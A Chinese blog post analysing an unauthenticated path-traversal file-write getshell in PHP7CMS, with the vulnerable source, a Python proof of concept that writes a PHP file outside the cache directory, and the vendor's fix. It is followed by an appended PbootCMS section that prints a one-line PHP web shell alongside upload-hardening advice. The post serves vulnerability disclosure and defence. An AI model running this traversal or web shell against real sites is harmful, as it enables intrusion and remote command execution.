PHP7CMS 无条件前台GETSHELL

本文详细解析了PHP7CMS中的GETSHELL漏洞,该漏洞允许攻击者通过构造特定请求,利用缓存类的无条件写入功能,实现远程代码执行。漏洞存在于API控制器的save_form_data方法中,由于对输入参数缺乏有效过滤,导致攻击者能够跨目录写入恶意代码。最新版已修复此漏洞,加强了输入验证。

PHP7CMS 无条件前台GETSHELL

Version:2018-10-09

//最新版中以修复此漏洞

这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。

01

02

03

04

05

06

07

08

09

10

11

12

// php7cms/Core/Controllers/Api/Api.php

// 52~61 line

public function save_form_data() {

 

    $rt = \Phpcmf\Service::L('cache')->init('file')->save(

        \Phpcmf\Service::L('Input')->get('name'),

        \Phpcmf\Service::L('Input')->post('data'),

        7200

    );

    var_dump($rt);

    exit;

}

调用了Cache类中 init 函数,参数分别为get(‘name’)和post(‘data’)。

01

02

03

04

05

06

07

08

09

10

11

12

// php7cms/Fcms/Library/Cache.php

 // 112~121 line

 public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {

       $config = new \Config\Cache();

       $config->handler = 'file';

       $config->prefix = $prefix;

       !$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';

       $config->path = WRITEPATH.'caching/';

       $cache = \Config\Services::cache($config, 0);

 

       return $cache;

   }

初始化缓存类,为prefix参数拼接字符串后直接无任何过滤直接传入CI框架的缓存类中,中间框架的执行流程就不在文章里写了。

直接看最后一步

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

// php7cms/System/Cache/Handlers

// 107~125 line

public function save(string $key, $value, int $ttl = 60)

{

  $key = $this->prefix . $key;

 

  $contents = [

    'time'         => time(),

    'ttl'         => $ttl,

    'data'         => $value,

  ];

 

  if ($this->writeFile($this->path . $key, serialize($contents)))

  {

    chmod($this->path . $key, 0640);

 

    return true;

  }

 

  return false;

}

 

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

//324~345 line       

protected function writeFile($path, $data, $mode = 'wb')

  {

    if (($fp = @fopen($path, $mode)) === false)

    {

      return false;

    }

 

    flock($fp, LOCK_EX);

 

    for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)

    {

      if (($result = fwrite($fp, substr($data, $written))) === false)

      {

        break;

      }

    }

 

    flock($fp, LOCK_UN);

    fclose($fp);

 

    return is_int($result);

  }

直接写入到缓存目录中,其中并没有过滤”.”和”/”,可以跨目录写入。所以不需要考虑路由问题。

POC:

1

2

3

4

5

from requests import post

postData = {

  'data':'<?php phpinfo()?>'

}

postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)

新版修复:

 

首先给dr_safe_replace 参数增加了两个新的过滤条件 ” . “和 ” ‘ “,在原本漏洞出发点接收get值的时候用这个函数过滤。

### PbootCMS前台Getshell漏洞利用与防御 PbootCMS是一款基于PHP开发的内容管理系统(CMS),因其功能强大且易于使用而受到广泛欢迎。然而,由于其代码实现可能存在安全漏洞,攻击者可能通过特定的手段在前台实现Getshell攻击。以下将详细介绍该漏洞的利用方式及防御措施。 #### 漏洞利用方式 PbootCMS前台Getshell漏洞通常涉及文件上传或动态模板解析中的安全问题。例如,如果系统未对用户上传的文件进行严格校验,攻击者可能上传包含恶意PHP代码的文件,并通过访问该文件实现命令执行。此外,若模板引擎未正确过滤用户输入,可能导致远程代码执行(RCE)[^1]。 一种常见的利用方法是通过伪造请求,将恶意代码注入到系统的动态解析文件中。例如,攻击者可以构造如下payload: ```php <?php system($_GET['cmd']); ?> ``` 此代码允许攻击者通过`cmd`参数执行任意系统命令。如果PbootCMS未对模板内容进行严格的转义处理,上述payload可能被成功注入并执行。 #### 防御措施 针对PbootCMS前台Getshell漏洞,可以从以下几个方面加强防御: 1. **文件上传校验** 系统应严格限制上传文件的类型和大小,禁止上传可执行脚本文件(如`.php`、`.php3`等)。可以通过白名单机制仅允许特定类型的文件上传,例如图片格式(`.jpg`、`.png`)[^1]。 2. **输入验证与过滤** 对所有用户输入进行严格的验证和过滤,防止恶意代码注入。特别是对于动态模板解析场景,应对模板内容进行HTML实体化处理,避免执行非法代码。 3. **权限管理** 限制文件操作的权限,确保上传目录不可直接访问。例如,可以通过配置Web服务器(如Nginx或Apache)禁用上传目录的PHP解析功能。示例如下: ```nginx location ~* /uploads/ { types { image/jpeg jpg; image/png png; } default_type none; return 403; } ``` 4. **定期更新与补丁** 及时关注PbootCMS官方发布的安全公告,安装最新版本以修复已知漏洞。同时,定期进行代码审计,发现潜在的安全隐患并及时修补。 5. **日志监控与告警** 启用详细的日志记录功能,监控可疑行为(如频繁的POST请求或异常文件上传)。结合入侵检测系统(IDS)或Web应用防火墙(WAF),进一步提升系统的安全性。 #### 示例代码:增强文件上传安全性 以下是一个改进后的文件上传校验示例: ```php function secure_upload($file) { $allowed_types = ['image/jpeg', 'image/png']; // 允许的MIME类型 if (!in_array($file['type'], $allowed_types)) { return false; // 拒绝非白名单类型 } $extension = pathinfo($file['name'], PATHINFO_EXTENSION); if (!in_array($extension, ['jpg', 'png'])) { return false; // 拒绝非白名单扩展名 } // 检查文件是否为合法图片 if (!getimagesize($file['tmp_name'])) { return false; // 拒绝非图片文件 } return move_uploaded_file($file['tmp_name'], "uploads/" . uniqid() . '.' . $extension); } ``` 上述代码通过多重校验确保上传文件的安全性,有效防止恶意文件的注入。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值